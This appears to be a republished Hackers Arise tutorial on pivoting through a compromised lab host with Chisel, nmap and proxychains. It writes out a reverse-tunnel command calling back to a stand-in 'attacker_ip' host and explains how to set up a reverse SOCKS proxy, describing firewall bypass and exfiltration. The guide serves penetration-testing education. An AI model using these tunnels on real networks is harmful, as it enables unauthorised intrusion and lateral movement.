Welcome back, aspiring cyberwarriors! When performing a penetration test or cyberwar mission, you’re typically not targeting just one computer. Often, you’re targeting multiple systems and need to move across the network, pivoting to gain further access to the environment. However, pivoting can sometimes be challenging. In this article, I’d like to introduce you to a […]

The post Pivoting within the Network: Getting Started with Chisel first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

When performing a penetration test or cyberwar mission, you’re typically not targeting just one computer. Often, you’re targeting multiple systems and need to move across the network, pivoting to gain further access to the environment. However, pivoting can sometimes be challenging. In this article, I’d like to introduce you to a tool that simplifies this process: Chisel.

In the initial stage of the attack, we can observe the following network:

Let’s perform a ping scan across the subnet 10.10.10.0/24 to identify live hosts:

Below is a breakdown of the command and its output:

Command Explanation:

• nmap -sP 10.10.10.0/24 -n -T5
  
  
  
  • -sP: This option tells Nmap to perform a ping scan, which checks if hosts are up without probing ports.
  
  
  
  
  
  • 10.10.10.0/24: Specifies the target subnet to scan, covering all IPs from 10.10.10.0 to 10.10.10.255.
  
  
  
  
  
  • -n: Disables DNS resolution, speeding up the scan by skipping hostname lookups.
  
  
  
  
  
  • -T5: Sets the timing template to 5 (the highest), making the scan as fast as possible. Be cautious, as this can be noisy and might trigger IDS/IPS alerts.
  
  
  
  

Output Interpretation:

• Nmap has detected two hosts as “up” in this subnet: 10.10.10.1 and 10.10.10.2.





• The reported latency times (0.00025s and 0.00026s) are extremely low, indicating a very fast response from these hosts.





• The scan completed in 2.13 seconds, checking all 256 IP addresses in the subnet.

This type of scan is useful in pivoting scenarios for quickly identifying reachable hosts within a target subnet.

We can see that 10.10.10.2 is our target machine. Next, I’m going to log in via SSH and use our previously earned root privileges. For this demonstration, I will skip the exploitation phase and focus solely on the pivoting process.

Now that I have access, I will bring in the necessary tools.

As you can see, I have set up a Python server and copied the tools I need onto the ‘hacked’ machine. The tools we need are Nmap, Socat, and Chisel. It’s important to note that these are static binaries, so I can run them on the target machine without any dependencies.

Now, if we run hostname -I:

We see two interfaces: the one we already know (our target) and a new one. What we want to do here is scan the entire range to see what we can find. First, let’s move our tools into a new directory called tools, then give the necessary permissions to make them executable.

Now, I can use Nmap to scan the network.

We’ve found a new target. However, if we try to reach that target from our Kali machine, it won’t be possible. We’ll need our set of tools to proceed.

First, we need to set up our Chisel server to do some tunneling, port forwarding and even configure a SOCKS proxy. This will allow us to gain better access to the internal network, all the way from our Kali attacker machine.

Chisel is a fast, cross-platform tool designed for creating secure TCP/UDP tunnels through HTTP, making it useful for pivoting and bypassing network restrictions during red teaming or penetration testing.

Underground Recognition of Chisel

While detailed attribution can be challenging, threat intelligence indicates that sophisticated threat groups have integrated Chisel into their operational toolkits. Advanced Persistent Threat (APT) groups, especially those operating in geopolitically sensitive regions, have been observed leveraging Chisel’s capabilities.

Groups like APT29 (Cozy Bear), known for their sophisticated cyber espionage campaigns, have shown interest in tools. Similarly, financially motivated threat actors targeting critical infrastructure have recognized Chisel’s potential.

Technical Mechanics of Network Infiltration

The true power of Chisel lies in its versatile tunneling capabilities. Unlike traditional tools that rely on predictable communication patterns, Chisel adds sophistication through its HTTP/SSH hybrid approach.

Consider a scenario, which I described previously, where a penetration tester has compromised an internal workstation. Traditional methods would require direct network access or complex VPN configurations. Chisel transforms this constraint into an opportunity. To establish a reverse tunnel, we need just two commands:

chisel server –reverse -p 9090

chisel client attacker_ip:9090 R:3389:target_internal_ip:3389

These commands creates an encrypted pathway.

Explanation of the Command

• ./chisel: Executes the Chisel binary from the current directory.





• server: Configures Chisel to operate in server mode.





• -p 9090: Specifies that Chisel will listen on port 9090.





• –reverse: Enables reverse tunneling, allowing a Chisel client (running on the target machine) to initiate connections back to the server.

Purpose of This Setup

This configuration sets up Chisel to accept reverse connections on port 9090. When a Chisel client connects to this server from a target machine inside a restricted network, it establishes a tunnel. This tunnel lets you access internal resources within the target network via the Chisel connection, effectively bypassing firewalls or other restrictions.

Using Chisel in this manner is a common practice in pivoting scenarios, where navigating internal networks requires establishing accessible pathways back to your machine.

Next Step

Now, you need to set up the Chisel client on the target machine to establish the connection.

Breakdown of the Command:

• ./chisel client:
  
  
  
  • This command starts Chisel in client mode, indicating that this instance of Chisel will establish a connection to a remote Chisel server.
  
  
  
  





• 10.0.2.15:9090:
  
  
  
  • Specifies the IP address and port of the target Chisel server.
  
  
  
  
  
  • In this case, the client is connecting to a server running at IP address 10.0.2.15 and listening on port 9090.
  
  
  
  





• R:socks:





• This option sets up a reverse SOCKS proxy. The R flag signals that the client will request the server to create a reverse SOCKS5 proxy.





• This configuration establishes a SOCKS proxy on the server side, enabling the Chisel client to route traffic through the server. As a result, all traffic from the server can be directed through the newly created SOCKS proxy on the client.

Output Interpretation:

When the client attempts to connect to ws://10.0.2.15:9090, it is initiating a connection to the Chisel server running at IP address 10.0.2.15 on port 9090 over a WebSocket (ws://). The output also shows a fingerprint that matches the server’s certificate or identifier, confirming that the client has verified and recognized the server during the connection handshake. Once the connection is established, the latency is reported as 293.212µs, indicating a very low-latency connection and confirming that the SOCKS proxy is now active and ready for use.

By setting up this reverse SOCKS proxy, all traffic from the server can be routed to internal resources accessible to the client. This setup facilitates tasks such as reconnaissance, exploitation, or data exfiltration within the network.

SOCKS5 Proxy:

SOCKS5 is a network proxy protocol that operates at the transport layer (Layer 4) and supports both TCP and UDP traffic. It routes packets between a client and a server via a proxy, acting as an intermediary that forwards the traffic to its destination. Applications configured to use a SOCKS5 proxy send all traffic through this intermediary, which then forwards the data to the target. SOCKS5 is commonly used to bypass network restrictions, mask the client’s IP address, and securely access internal networks. It also supports authentication, making it more secure than previous proxy protocols.

SOCKS Proxy in This Scenario:

In this case, the reverse SOCKS proxy (R:socks) is established on the Chisel server. This means any traffic from the client can be routed through the compromised network to access internal systems that were previously unreachable. Tools such as web browsers or proxy-aware applications can be configured to use this SOCKS proxy for secure access to these internal resources.

WebSocket:

WebSocket is a communication protocol that allows for full-duplex communication channels over a single TCP connection. It enables both the client and server to send and receive messages simultaneously. After a WebSocket connection is established (beginning with an HTTP request and then upgrading to WebSocket), data can flow freely between the two parties.

WebSocket in This Scenario:

In this scenario, Chisel utilizes WebSocket connections (ws://) to establish communication between the client and server. This is beneficial in environments where HTTP traffic is allowed but other protocols or direct connections might be blocked by firewalls. The use of WebSockets ensures a reliable, real-time connection for forwarding and tunneling network traffic.

Objective in This Scenario:

The primary objective here is to pivot from a compromised machine (the Chisel client) to explore and access resources within an internal network. By setting up a reverse SOCKS proxy over a WebSocket connection, several goals can be achieved: First, WebSocket traffic, which resembles normal HTTP traffic, can bypass restrictive firewalls and detection mechanisms. Second, network pivoting becomes possible, allowing tools such as Nmap, web browsers, or reconnaissance utilities to route traffic through the SOCKS proxy, effectively enabling exploration of internal systems as if the client were directly within the target network.

To forward the connection to the new target from the Kali or attacker’s machine, we need to configure the proxychains.conf file.

Here’s what the configuration should look like:

By doing this, you are configuring ProxyChains to forward traffic through the SOCKS proxy that Chisel has established, which is listening on port 1080.

Reason for Adding the Chisel Server to ProxyChains: SOCKS Proxy Configuration

Chisel creates a SOCKS5 proxy, which allows traffic to be routed through the compromised machine or network where Chisel is running. This configuration ensures that all traffic passing through ProxyChains is forwarded via the Chisel SOCKS5 proxy.

Purpose: Pivoting and Lateral Movement

With this setup, you can pivot into the internal network through the compromised host. Any tool or application configured to use ProxyChains will have its traffic routed through the Chisel SOCKS5 proxy, enabling access to internal resources that were previously unreachable.

How It Works:

ProxyChains intercepts the traffic from applications (such as web browsers, Nmap, SQLmap, etc.) and forwards it to the specified proxy—in this case, the Chisel SOCKS5 proxy. This setup allows tools that are not inherently SOCKS-aware to communicate through the proxy, making them capable of routing traffic through the compromised network.

As we can see next, we have successfully reached our target:

Summary:

In this article, we explore the challenges of pivoting during penetration tests or cyberwarfare operations, where gaining access to multiple systems within a network is critical. We introduce Chisel, a powerful tool that streamlines the pivoting process, enabling security professionals to efficiently navigate networks and extend their access to target environments.

The post Pivoting within the Network: Getting Started with Chisel first appeared on Hackers Arise.

Source: HackersArise
Source Link: https://hackers-arise.com/pivoting-within-the-network-getting-started-with-chisel/